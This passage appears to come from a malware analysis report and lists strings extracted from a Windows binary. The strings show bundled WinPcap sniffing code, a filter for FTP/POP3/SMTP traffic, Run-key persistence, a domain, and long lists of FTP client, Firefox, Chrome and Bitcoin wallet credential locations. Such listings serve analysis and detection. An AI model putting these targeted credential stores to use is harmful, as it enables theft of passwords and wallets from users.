6.1; rv:22.0) Gecko/20130405 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)</pre><pre>Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)</pre><pre>asio.misc</pre><pre>asio.misc error</pre><pre>thread.entry_event</pre><pre>thread.exit_event</pre><pre>255.255.255.255</pre><pre>0.0.0.0</pre><pre>127.0.0.1</pre><pre>%d.%m.%Y %H:%M:%S</pre><pre>%a, %d %b %Y %H:%M:%S GMT</pre><pre><4,$?7/'</pre><pre>(3-!0,1'8"5.*2$</pre><pre>.text</pre><pre>h.rdata</pre><pre>H.data</pre><pre>.rsrc</pre><pre>B.reloc</pre><pre>DriverEntry: TCP-IP not found, quitting.</pre><pre>DriverEntry: Adapters not found in the registry, try to copy the bindings of TCP-IP.</pre><pre>DriverEntry: OS Version: %d.%d</pre><pre>Device %d = %ws</pre><pre>Status of %x querying key value</pre><pre>Status of %x querying key value for size</pre><pre>OpenKey Failed, %d!</pre><pre>Key name=%ws</pre><pre>Status of %x opening %ws</pre><pre>Mac %u = %ws</pre><pre>Tcpip bind value not REG_MULTI_SZ but %u</pre><pre>Querying key value result len = %u but previous len = %u</pre><pre>IoCreateDevice status = %x</pre><pre>NPF_IoControl: BIOCQUERYOID completed, BytesWritten = %u</pre><pre>NPF_IoControl: Bogus return from NdisRequest (query): Bytes Written (%u) > InfoBufferLength (%u)!!</pre><pre>NPF_IoControl: BIOCSETOID completed, BytesRead = %u</pre><pre>NPF_IoControl: Error installing the BPF filter. The filter contains TME extensions, not supported on 64bit platforms.</pre><pre>NPF_IoControl: Operative instructions=%u</pre><pre>KeGetCurrentIrql() == PASSIVE_LEVEL</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\openclos.c</pre><pre>NPF_Open: Opened Instances: %u</pre><pre>NPF_Open: Opened the device, Status=%x</pre><pre>NPF_Cleanup: Opened Instances: %u</pre><pre>Received on CPU %d</pre><pre>HeaderBufferSize=%u, LookAheadBuffer=%p, LookaheadBufferSize=%u, PacketSize=%u</pre><pre>NPF_Write: Max frame size = %u, packet size = %u</pre><pre>NPF_Write: Another Send operation is in progress, aborting.</pre><pre>NPF: BufferedWrite, UserBuff=%p, Size=%u</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\bin\i386\npf.pdb</pre><pre>ZwQueryValueKey</pre><pre>ZwEnumerateKey</pre><pre>ZwOpenKey</pre><pre>ntoskrnl.exe</pre><pre>HAL.dll</pre><pre>NDIS.SYS</pre><pre>0$0)02090</pre><pre>http://ocsp.verisign.com0</pre><pre>"http://crl.verisign.com/tss-ca.crl0</pre><pre>Thawte Certification1</pre><pre>0http://crl.verisign.com/ThawteTimestampingCA.crl0</pre><pre>.Class 3 Public Primary Certification Authority0</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)041.0,</pre><pre>https://www.verisign.com/rpa01</pre><pre>http://crl.verisign.com/pca3.crl0</pre><pre>.Class 3 Public Primary Certification Authority</pre><pre>/http://CSC3-2004-crl.verisign.com/CSC3-2004.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0?</pre><pre>3http://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer0</pre><pre>Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0</pre><pre>n.aAHu</pre><pre>`.rdata</pre><pre>@.data</pre><pre>@.reloc</pre><pre>L$.Qf</pre><pre>mscoree.dll</pre><pre>.mixcrt</pre><pre>KERNEL32.DLL</pre><pre>kernel32.dll</pre><pre>@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.110.2.2 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.168.2.10 2008-10-06 15:38:39 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.112.2.12 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>4.1.1</pre><pre>WinPcap version %s, based on %s</pre><pre>WinPcap version %s (packet.dll version %s), based on %s</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.34.2.8 2008-05-21 22:11:26 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.90.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.82.2.1 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.75.2.4 2008-04-20 18:19:24 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.99.2.2 2007/11/18 02:04:55 guy Exp $ (LBL)</pre><pre>$$$88$$$8</pre><pre>"#-./0123</pre><pre>@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.290.2.16 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.15 2007/09/25 20:34:36 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.23 2006/10/04 18:09:22 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.27.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.45.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.14.4.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>%u %u %u %u</pre><pre>{ 0x%x, %d, %d, 0xx },</pre><pre>[x %d]</pre><pre>#0x%x</pre><pre>4*([%d]&0xf)</pre><pre>M[%d]</pre><pre>(d) %-8s %-16s jt %d</pre><pre>jf %d</pre><pre>(d) %-8s %s</pre><pre>malloc: %s</pre><pre>PacketGetAdapterNames: %s</pre><pre>pcap_compile cannot generate filters for a TurboCap port when the PPI linktype is used.</pre><pre>unknown data link type %d</pre><pre>unsupported protocol over mpls</pre><pre>IEEE 802.15.4 link-layer type filtering not implemented</pre><pre>'tcp' modifier applied to %s</pre><pre>'sctp' modifier applied to %s</pre><pre>'udp' modifier applied to %s</pre><pre>'icmp' modifier applied to %s</pre><pre>'igmp' modifier applied to %s</pre><pre>'igrp' modifier applied to %s</pre><pre>'pim' modifier applied to %s</pre><pre>'vrrp' modifier applied to %s</pre><pre>'icmp6' modifier applied to %s</pre><pre>'ah' modifier applied to %s</pre><pre>'esp' modifier applied to %s</pre><pre>'esis' modifier applied to %s</pre><pre>'isis' modifier applied to %s</pre><pre>'clnp' modifier applied to %s</pre><pre>'stp' modifier applied to %s</pre><pre>'netbeui' modifier applied to %s</pre><pre>'radio' modifier applied to %s</pre><pre>'ip' modifier applied to ip6 %s</pre><pre>'rarp' modifier applied to ip6 %s</pre><pre>'arp' modifier applied to ip6 %s</pre><pre>'decnet' modifier applied to ip6 %s</pre><pre>unknown ip proto '%s'</pre><pre>unknown ether proto '%s'</pre><pre>unknown osi proto '%s'</pre><pre>'protochain' not supported with 802.11</pre><pre>unsupported proto to gen_protochain</pre><pre>'udp proto' is bogus</pre><pre>'tcp proto' is bogus</pre><pre>unknown network '%s'</pre><pre>unknown ether host '%s'</pre><pre>unknown FDDI host '%s'</pre><pre>unknown token ring host '%s'</pre><pre>unknown 802.11 host '%s'</pre><pre>unknown Fibre Channel host '%s'</pre><pre>only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name</pre><pre>unknown host '%s'</pre><pre>unknown host '%s'%s</pre><pre>illegal qualifier of 'port'</pre><pre>unknown port '%s'</pre><pre>port '%s' is tcp</pre><pre>port '%s' is sctp</pre><pre>port '%s' is udp</pre><pre>illegal qualifier of 'portrange'</pre><pre>unknown port in range '%s'</pre><pre>port in range '%s' is tcp</pre><pre>port in range '%s' is sctp</pre><pre>port in range '%s' is udp</pre><pre>'gateway' not supported in this configuration</pre><pre>unknown protocol: %s</pre><pre>non-network bits set in "%s mask %s"</pre><pre>non-network bits set in "%s/%d"</pre><pre>invalid ip6 address %s</pre><pre>%s resolved to multiple address</pre><pre>mask length must be <= %u</pre><pre>ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel</pre><pre>unsupported index operation</pre><pre>IPv6 upper-layer protocol is not supported by proto[x]</pre><pre>only link-layer/IP broadcast filters supported</pre><pre>link-layer multicast filters supported only on ethernet/FDDI/token ring/ARCNET/802.11/ATM LANE/Fibre Channel</pre><pre>inbound/outbound not supported on linktype %d</pre><pre>libpcap was compiled without pf support</pre><pre>libpcap was compiled on a machine without pf support</pre><pre>802.11 link-layer types supported only on 802.11</pre><pre>frame direction supported only with 802.11 headers</pre><pre>aid supported only on ARCnet</pre><pre>no VLAN support for data link type %d</pre><pre>no MPLS support for data link type %d</pre><pre>'vpi' supported only on raw ATM</pre><pre>'vci' supported only on raw ATM</pre><pre>'callref' supported only on raw ATM</pre><pre>'metac' supported only on raw ATM</pre><pre>'bcc' supported only on raw ATM</pre><pre>'oam4sc' supported only on raw ATM</pre><pre>'oam4ec' supported only on raw ATM</pre><pre>'sc' supported only on raw ATM</pre><pre>'ilmic' supported only on raw ATM</pre><pre>'lane' supported only on raw ATM</pre><pre>'llc' supported only on raw ATM</pre><pre>'fisu' supported only on MTP2</pre><pre>'lssu' supported only on MTP2</pre><pre>'msu' supported only on MTP2</pre><pre>'sio' supported only on SS7</pre><pre>sio value %u too big; max value = 255</pre><pre>'opc' supported only on SS7</pre><pre>opc value %u too big; max value = 16383</pre><pre>'dpc' supported only on SS7</pre><pre>dpc value %u too big; max value = 16383</pre><pre>'sls' supported only on SS7</pre><pre>sls value %u too big; max value = 15</pre><pre>'oam' supported only on raw ATM</pre><pre>'oamf4' supported only on raw ATM</pre><pre>'connectmsg' supported only on raw ATM</pre><pre>'metaconnect' supported only on raw ATM</pre><pre>'port' modifier applied to ip host</pre><pre>'portrange' modifier applied to ip host</pre><pre>%d-%d</pre><pre>%d.%d</pre><pre>malformed decnet address '%s'</pre><pre>decnet name support not included, '%s' cannot be translated</pre><pre>%s for block-local relative jump: off=%d</pre><pre>malloc() failed: %s</pre><pre>%s '%s' %s</pre><pre>Error when listing files: does folder '%s' exist?</pre><pre>%s '%s' %s %s</pre><pre>[%[1234567890:.]]:%[^/]/%s</pre><pre>[%[1234567890:.]]/%s</pre><pre>%[^/:]:%[^/]/%s</pre><pre>%[^/]/%s</pre><pre>Source type not supported</pre><pre>getaddrinfo() %s</pre><pre>(%s) and not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>TcApi.dll</pre><pre>TcQueryPortList</pre><pre>TcFreePortList</pre><pre>TcPortGetName</pre><pre>TcPortGetDescription</pre><pre>TcPacketsBufferCreate</pre><pre>TcPacketsBufferDestroy</pre><pre>TcPacketsBufferQueryNextPacket</pre><pre>TcPacketsBufferCommitNextPacket</pre><pre>Error opening TurboCap adapter: %s</pre><pre>Error enabling reception on a TurboCap instance: %s</pre><pre>Error setting the read timeout a TurboCap instance: %s</pre><pre>Getting the non blocking status is not available for TurboCap ports</pre><pre>Setting the non blocking status is not available for TurboCap ports</pre><pre>send error: the TurboCap API does not support packets larger than 64k</pre><pre>send error: TcPacketsBufferCreate failure: %s (x)</pre><pre>send error: TcInstanceTransmitPackets failure: %s (x)</pre><pre>send error: TcPacketsBufferCommitNextPacket failure: %s (x)</pre><pre>read error, TcInstanceReceivePackets failure: %s (x)</pre><pre>read error, TcPacketsBufferQueryNextPacket failure: %s (x)</pre><pre>TurboCap error setting the mintocopy: %s (x)</pre><pre>Mode %u not supported by TurboCap devices. TurboCap only supports capture.</pre><pre>TurboCap error in TcInstanceQueryStatistics: %s (x)</pre><pre>TurboCap error in TcStatisticsQueryValue: %s (x)</pre><pre>setfilter, unable to install the filter: %s</pre><pre>PacketGetStats error: %s</pre><pre>Error opening adapter: %s</pre><pre>Cannot determine the network type: %s</pre><pre>Error calling PacketSetMinToCopy: %s</pre><pre>Driver error: cannot set bpf filter: %s</pre><pre>PacketSetReadTimeout: %s</pre><pre>IEEE 802.15.4 with non-ASK PHY data</pre><pre>Bluetooth HCI UART transport layer plus pseudo-header</pre><pre>IEEE 802.15.4</pre><pre>IEEE 802.15.4 with Linux padding</pre><pre>Bluetooth HCI UART transport layer</pre><pre>Juniper Passive Monitor PIC</pre><pre>can't perform operation on activated capture</pre><pre>%s: %s</pre><pre>%s is not one of the DLTs supported by this device</pre><pre>DLT %d is not one of the DLTs supported by this device</pre><pre>That device doesn't support promiscuous mode</pre><pre>That device doesn't support monitor mode</pre><pre>That operation is supported only in monitor mode</pre><pre>Unknown error: %d</pre><pre>Sending packets isn't supported on savefiles</pre><pre>Setting direction is not supported on savefiles</pre><pre>error reading dump file: %s</pre><pre>truncated dump file; tried to read %u captured bytes, only got %lu</pre><pre>Can't write to %s: %s</pre><pre>%s: link-layer type %d isn't supported in savefiles</pre><pre>bogus IPv6 address %s</pre><pre>bogus ethernet address %s</pre><pre>illegal token: %s</pre><pre>illegal char '%c'</pre><pre>%sUnable to get the exact error message</pre><pre>%s%s (code %d)</pre><pre>%s (code %d)</pre><pre>Is the server properly installed on %s? connect() failed: %s</pre><pre>getaddrinfo(): socket type not supported</pre><pre>getaddrinfo(): multicast addresses are not valid when using TCP streams</pre><pre>Cannot retrieve the extended statistics from a file or a TurboCap port</pre><pre>PacketGetStatsEx error: %s</pre><pre>Cannot transmit a queue to an offline capture or to a TurboCap port</pre><pre>Impossible to set user buffer while reading from a file or on a TurboCap port</pre><pre>Error: invalid size %d</pre><pre>live dump needs a physical interface supported by the NPF driver</pre><pre>wrong interface type. A physical interface supported by the NPF driver is needed</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\wpcap\PRJ\Release\x86\wpcap.pdb</pre><pre>WS2_32.dll</pre><pre>packet.dll</pre><pre>KERNEL32.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>wpcap.dll</pre><pre>> >$>(>,></pre><pre>: :$:(:,:0:4:</pre><pre>7*848=8`8</pre><pre>?'?,?0?4?]?</pre><pre>3 3<3@3`3</pre><pre>.Xa6(</pre><pre>Export</pre><pre>system32\drivers\NPF.sys</pre><pre>SYSTEM\CurrentControlSet\Services\%s</pre><pre>\\.\%s</pre><pre>\\.\Global\%s</pre><pre>npp\ndisnpp.dll</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetNtx\Dll\Project\Release\x86\Packet.pdb</pre><pre>VERSION.dll</pre><pre>NPPTools.dll</pre><pre>iphlpapi.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>1"1 141;1</pre><pre>435:5`5|5</pre><pre>0&10191\1</pre><pre>9.:4:8:<:@:</pre><pre>= =@=`=|=</pre><pre>: this object doesn't support resynchronization</pre><pre>StreamTransformation: this object doesn't support random access</pre><pre>CryptoMaterial: this object does not support precomputation</pre><pre>GeneratableCryptoMaterial: this object does not support key/parameter generation</pre><pre>PK_MessageEncodingMethod: this signature scheme does not support message recovery</pre><pre>/index.html</pre><pre>HTTP/1.1</pre><pre>text/html; charset=windows-1251</pre><pre>The requested URL</pre><pre>HTTP/1.1</pre><pre>Clean up all keys.</pre><pre>Use next keys:</pre><pre>REG keys[</pre><pre>Use REG keys:</pre><pre>Gen new port key!</pre><pre>Gen new job key!</pre><pre>Gen new list key!</pre><pre>/dev/index.html</pre><pre>No i key:</pre><pre>No m key:</pre><pre>No p key:</pre><pre>No j key:</pre><pre>No r key:</pre><pre>Err in ID key: decr:</pre><pre>Err in ID key: check</pre><pre>Err in ID key: invalid</pre><pre>fahhtaz.biz</pre><pre>Check Compromzed REG key:</pre><pre>Compromzed REG key:</pre><pre>C:\boost\include\boost-1_47\boost/exception/detail/exception_ptr.hpp</pre><pre>Keys3</pre><pre>Appkey</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>webscanx</pre><pre>hkcmd</pre><pre>firefox</pre><pre>em_exec</pre><pre>CrashReport</pre><pre>\tmp.exe</pre><pre>*.exe</pre><pre>explorer.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>Mozilla/5.0 (Windows; U; Windows NT</pre><pre>; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17</pre><pre>SMTP:</pre><pre>%d.%d.%d.%d</pre><pre>!#$%&'* -/=?^_`{|}~</pre><pre>.in-addr.arpa</pre><pre>: Maximum attempts exeeded</pre><pre>%s, %d %s %d d:d:d %cdd</pre><pre>dddddd</pre><pre>ddddd</pre><pre>x.8lx$.8lx$x@%s</pre><pre>----=_NextPart_d_X_.8lX..8lX</pre><pre>password</pre><pre>F/c "start Í%\</pre><pre>&& %windir%\explorer Í%\</pre><pre>%SystemRoot%\system32\shell32.dll</pre><pre>npf.sys</pre><pre>Packet.dll</pre><pre>( tcp dst port 21 ) or ( tcp dst port 110 ) or ( tcp dst port 25 )</pre><pre>smtp</pre><pre>pop3_smtp</pre><pre>HostPassword</pre><pre>HostPort</pre><pre>32BitFtp.ini</pre><pre>0003DFTP</pre><pre>3D-FTP</pre><pre>sites.ini</pre><pre>\3D-FTP</pre><pre>Password</pre><pre>Port</pre><pre>port</pre><pre>QData.dat</pre><pre>ESTdb2.dat</pre><pre>\Estsoft\ALFTP</pre><pre>TYPE = SFTP</pre><pre>sftp</pre><pre>SET PASS</pre><pre>bitkinex.ds</pre><pre>LastPassword</pre><pre>LastPort</pre><pre>BlazeFtp</pre><pre>site.dat</pre><pre>\BlazeFtp</pre><pre>Software\FlashPeak\BlazeFtp\Settings</pre><pre>*.dat</pre><pre>*.bps</pre><pre>Software\BPFTP</pre><pre>Chrome</pre><pre>ftp://</pre><pre>origin_url</pre><pre>password_value</pre><pre>logins</pre><pre>SQLite format 3</pre><pre>Web Data</pre><pre>Login Data</pre><pre>Google\Chrome</pre><pre>ChromePlus</pre><pre>Nichrome</pre><pre>MapleStudio\ChromePlus</pre><pre>browser.yandex</pre><pre>Software\ChromePlus</pre><pre>_Password</pre><pre>FtpServer</pre><pre>FtpUserName</pre><pre>FtpPassword</pre><pre>_FtpPassword</pre><pre>FtpDirectory</pre><pre>FtpDescription</pre><pre>Software\NCH Software\ClassicFTP\FTPAccounts</pre><pre>FTP destination server</pre><pre>FTP destination user</pre><pre>FTP destination password</pre><pre>FTP destination catalog</pre><pre>FTP destination port</pre><pre>FTP profiles</pre><pre>Software\FTPWare\COREFTP\Sites</pre><pre>ftps</pre><pre>CSMFTPItem</pre><pre>sm.dat</pre><pre>\GlobalSCAPE\CuteFTP</pre><pre>\GlobalSCAPE\CuteFTP Pro</pre><pre>\GlobalSCAPE\CuteFTP Lite</pre><pre>\CuteFTP</pre><pre>CUTEFTP</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar</pre><pre>user.config</pre><pre>*.duck</pre><pre>Nickname</pre><pre>sites.xml</pre><pre>DeluxeFTP</pre><pre>FTP-Now</pre><pre>FTPNow</pre><pre>FTP Now</pre><pre>LOGIN</pre><pre>PASSWORD</pre><pre>PORT</pre><pre>*.oxc</pre><pre>*.oll</pre><pre>ftplast.osd</pre><pre>EasyFTP</pre><pre>SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32</pre><pre>\Plugins\FTP\Hosts</pre><pre>\SavedDialogHistory\FTPHost</pre><pre>FTPList.db</pre><pre>DefaultPassword</pre><pre>Software\Sota\FFFTP</pre><pre>Software\Sota\FFFTP\Options</pre><pre>Server.Port</pre><pre>Server.Pass</pre><pre>Server.User</pre><pre>Server.Host</pre><pre>Last Server Port</pre><pre>Last Server Pass</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>History.dat</pre><pre>ServerPass</pre><pre>SharedSettings.ccs</pre><pre>SharedSettings_1_0_5.ccs</pre><pre>SharedSettings.sqlite</pre><pre>SharedSettings_1_0_5.sqlite</pre><pre>FreshFTP</pre><pre>*.SMF</pre><pre>FtpSite.xml</pre><pre>QuickFtp</pre><pre>FTP Commander</pre><pre>usessh</pre><pre>ftplist.txt</pre><pre>FTP Navigator</pre><pre>*.prf</pre><pre>FTP CONTROL</pre><pre>Login</pre><pre>PasswordType</pre><pre>CFTPToolBarComboBoxButton</pre><pre>profiles.xml</pre><pre>\FTP Explorer</pre><pre>Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224</pre><pre>Software\FTP Explorer\Profiles</pre><pre>ftpx</pre><pre>Software\MAS-Soft\FTPInfo\Setup</pre><pre>ServerList.xml</pre><pre>\FTPInfo</pre><pre>RushSite.xml</pre><pre>\FTPRush</pre><pre>FTPShell</pre><pre>ftpshell.fsi</pre><pre>servers.xml</pre><pre>\FTPGetter</pre><pre>server_user_password</pre><pre>server_port</pre><pre>SM.arch</pre><pre>GoFTP</pre><pre>Goftp Rocks 91802sfaiolpqikeu39</pre><pre>Connections.txt</pre><pre>MS IE FTP Passwords</pre><pre>pstorec.dll</pre><pre>advapi32.dll</pre><pre>sites.dat</pre><pre>unleap.exe</pre><pre>\LeapWare\LeapFTP</pre><pre>LeechFTP Bookmark File.</pre><pre>bookmark.dat</pre><pre>Software\LeechFTP</pre><pre>LeechFTP</pre><pre>LINASFTP1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ</pre><pre>Software\LinasFTP\Site Manager</pre><pre>Mozilla</pre><pre>nss3.dll</pre><pre>PK11_GetInternalKeySlot</pre><pre>sqlite3_close</pre><pre>sqlite3_column_blob</pre><pre>sqlite3_column_bytes</pre><pre>sqlite3_prepare</pre><pre>sqlite3_step</pre><pre>SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins</pre><pre>mozsqlite3.dll</pre><pre>sqlite3.dll</pre><pre>sqlite3_open</pre><pre>signons.sqlite</pre><pre>signons.txt</pre><pre>signons2.txt</pre><pre>signons3.txt</pre><pre>\profiles.ini</pre><pre>PathToExe</pre><pre>Mozilla\Firefox</pre><pre>Firefox</pre><pre>Software\Mozilla</pre><pre>SeaMonkey</pre><pre>Mozilla\SeaMonkey</pre><pre>Mozilla\Profiles</pre><pre>remote password</pre><pre>remote port</pre><pre>My FTP</pre><pre>project.ini</pre><pre>klfhuw%$#%fgjlvf</pre><pre>NDSites.ini</pre><pre>FTP .Link\shell\open\command</pre><pre>*.fpl</pre><pre>xxx.xiles.net</pre><pre>ftpsite.ini</pre><pre>NppFTP.xml</pre><pre>nppftp</pre><pre>MasterPass</pre><pre>user_pass</pre><pre>host_port</pre><pre>SQLite3</pre><pre>bmk_ftp</pre><pre>NovaFTP.db</pre><pre>\INSoftware\NovaFTP</pre><pre>SiteInfo.QFP</pre><pre>PortNumber</pre><pre>SOFTWARE\Robo-FTP 3.8\FTPServers</pre><pre>SOFTWARE\Robo-FTP 3.7\FTPServers</pre><pre>S:"Password"</pre><pre>D:"Transfer Port"</pre><pre>*.ini</pre><pre>*.xml</pre><pre>Msi.dll</pre><pre>{74FF1730-B1F2-4D88-926B-1568FAE61DB7}</pre><pre>\SmartFTP</pre><pre>Favorites.dat</pre><pre>Software\FTPClient\Sites</pre><pre>Software\SoftX.org\FTPClient\Sites</pre><pre>Staff-FTP</pre><pre>C87BC961-AAF9-11d2-8A80-0080ADB32FF4</pre><pre>sites.db</pre><pre>CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32</pre><pre>\Whisper Technology\FTP Surfer</pre><pre>TurboFTP@</pre><pre>TurboFTP@usa.net</pre><pre>turboftp@</pre><pre>Software\TurboFTP</pre><pre>\TurboFTP</pre><pre>addrbk.dat</pre><pre>quick.dat</pre><pre>PassWord</pre><pre>Software\South River Technologies\WebDrive\Connections</pre><pre>Software\Cryer\WebSitePublisher</pre><pre>WinFTP</pre><pre>your.name@your.server.com</pre><pre>FTPServers.Servers1_FTPServers</pre><pre>_PassWord</pre><pre>_Port</pre><pre>wiseftpsrvs.bin</pre><pre>wiseftpsrvs.ini</pre><pre>wiseftp.ini</pre><pre>SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}</pre><pre>SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}</pre><pre>WS_FTP</pre><pre>\win.ini</pre><pre>Ipswitch\WS_FTP</pre><pre>Software\Ghisler\Windows Commander</pre><pre>\Windows Commander</pre><pre>\wcx_ftp.ini</pre><pre>FtpIniName</pre><pre>*.xfp</pre><pre>FAR Manager FTP</pre><pre>Windows/Total Commander</pre><pre>TurboFTP</pre><pre>WebSitePublisher</pre><pre>SoftX FTP Client</pre><pre>LeapFTP</pre><pre>32bit FTP</pre><pre>FTP Control</pre><pre>CuteFTP</pre><pre>FFFTP</pre><pre>Core FTP</pre><pre>WebDrive</pre><pre>Classic FTP</pre><pre>FTP Explorer</pre><pre>SmartFTP</pre><pre>FreeFTP/DirectFTP</pre><pre>FTPRush</pre><pre>FTPGetter</pre><pre>ALFTP</pre><pre>3DFTP</pre><pre>XFTP</pre><pre>TFTPInfo</pre><pre>MyFTP</pre><pre>NovaFTP</pre><pre>&#xX;</pre><pre></pre><pre>%s="%s"</pre><pre>%s='%s'</pre><pre></pre><pre><![CDATA[%s]]></pre><pre>version="%s"</pre><pre>encoding="%s"</pre><pre>standalone="%s"</pre><pre>crypt32.dll</pre><pre>%Documents and Settings%</pre><pre>\Application Data\Bitcoin\wallet.dat</pre><pre>C:\Users</pre><pre>\AppData\Roaming\Bitcoin\wallet.dat</pre><pre>GetKeyboardState</pre><pre>SetKeyboardState</pre><pre>KeySize</pre><pre>: this object does't support a special last block</pre><pre>NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes</pre><pre>: this object doesn't support multiple channels</pre><pre>is not a valid key length</pre><pre>InvertibleRSAFunction: computational error during private key operation</pre><pre>TF_SignerBase: this algorithm does not support messsage recovery or the key is too short</pre><pre>TF_SignerBase: the recoverable message part is too long for the given key and algorithm</pre><pre>for this key</pre><pre>: this key is too short to encrypt any messages</pre><pre>for this public key</pre><pre>PK_Signer: key too short for this signature scheme</pre><pre>operation failed with error</pre><pre>?#%X.y</pre><pre>.?AVwindows_file_codecvt@@</pre><pre>zcÁ</pre><pre>.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@</pre><pre>.?AV?$sp_ms_deleter@V?$connection@Vhttp_simple_client@http@net_utils@@@net_keys@@@detail@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$stream_socket_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AVmoniker_helper@monkeys@@</pre><pre>.?AVmonkey_swap_nibbles@monkeys@@</pre><pre>.?AVmonkey_xor@monkeys@@</pre><pre>.?AVmonkey_running_xor@monkeys@@</pre><pre>.?AVmonkey_swap@monkeys@@</pre><pre>.?AVmonkey_reverse@monkeys@@</pre><pre>.?AVmonkey_roll_n@monkeys@@</pre><pre>.?AVmonkey_bits_pack@monkeys@@</pre><pre>.?AVmonkey_wave@monkeys@@</pre><pre>.?AV?$bind_t@_NV?$mf4@_NVhttp_simple_client@http@net_utils@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HII@_mfi@boost@@V?$list5@U?$arg@$00@boost@@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V?$value@H@42@V542@V542@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NV?$mf2@_NV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@II@_mfi@boost@@V?$list3@V?$value@PAV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@@_bi@boost@@V?$value@I@23@V423@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$socket_acceptor_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$resolver_service@Vtcp@ip@asio@boost@@@ip@asio@boost@@@detail@asio